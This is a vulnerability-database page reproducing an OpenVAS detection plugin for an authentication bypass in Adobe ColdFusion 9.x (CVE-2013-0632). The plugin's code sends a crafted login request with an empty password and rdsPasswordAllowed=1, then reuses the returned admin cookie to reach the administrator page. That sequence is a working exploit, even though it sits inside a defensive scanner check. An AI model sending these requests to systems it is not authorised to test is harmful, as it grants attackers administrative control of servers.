Lucene search
+L

Adobe ColdFusion Authentication Bypass Vulnerability (APSA13-01)

🗓️ 20 Aug 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 44 Views

Adobe ColdFusion Authentication Bypass Vulnerabilit

Related
Refs
Code
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:adobe:coldfusion";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103769");
  script_version("2025-01-15T05:38:11+0000");
  script_tag(name:"last_modification", value:"2025-01-15 05:38:11 +0000 (Wed, 15 Jan 2025)");
  script_tag(name:"creation_date", value:"2013-08-20 12:36:50 +0200 (Tue, 20 Aug 2013)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2024-07-16 17:36:47 +0000 (Tue, 16 Jul 2024)");
  script_cve_id("CVE-2013-0632");
  script_name("Adobe ColdFusion Authentication Bypass Vulnerability (APSA13-01)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_adobe_coldfusion_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("adobe/coldfusion/http/detected");

  script_xref(name:"URL", value:"https://www.adobe.com/support/security/advisories/apsa13-01.html");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210213164720/http://www.securityfocus.com/bid/57330");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");

  script_tag(name:"summary", value:"Adobe ColdFusion is prone to a remote authentication bypass
  vulnerability.");

  script_tag(name:"vuldetect", value:"Try to bypass authentication by sending some HTTP requests.");

  script_tag(name:"insight", value:"Adobe ColdFusion versions 9.0, 9.0.1, and 9.0.2 do not properly
  check the 'rdsPasswordAllowed' field when accessing the Administrator API CFC that is used for
  logging in.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to bypass certain
  authentication processes and potentially allow an attacker to take control of the affected
  system.");

  script_tag(name:"affected", value:"Adobe ColdFusion versions 9.0, 9.0.1 and 9.0.2 are known to be
  affected.

  Note: This issue affects ColdFusion customers who do not have password protection enabled or do
  not have a password set.");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for
  more information.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
  exit(0);

host = http_host_name(port:port);

url = "/CFIDE/adminapi/administrator.cfc?method=login";
req = 'POST ' + url + ' HTTP/1.1\r\n' +
      'Host: ' + host + '\r\n' +
      'Connection: close\r\n' +
      'Content-Type: application/x-www-form-urlencoded\r\n' +
      'Content-Length: 35\r\n' +
      '\r\n' +
      'adminpassword=&rdsPasswordAllowed=1';
result = http_send_recv(port:port, data:req, bodyonly:FALSE);

if("<wddxPacket" >!< result || "'true'" >!< result)
  exit(0);

k = eregmatch(pattern:"CFAUTHORIZATION_cfadmin=([^;]+);", string:result);
if(isnull(k[1]))
  exit(0);

req = 'GET /CFIDE/administrator/homepage.cfm HTTP/1.1\r\n' +
      'Host: ' + host + '\r\n' +
      'Connection: close\r\n' +
      'Cookie: CFAUTHORIZATION_cfadmin=' + k[1] + '\r\n\r\n';
result = http_send_recv(port:port, data:req, bodyonly:FALSE);

if("<title>ColdFusion Administrator Home Page</title>" >< result &&
   "Welcome to the ColdFusion Administrator" >< result) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jan 2025 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 3.19.8
CVSS 210
EPSS0.93691
SSVC
44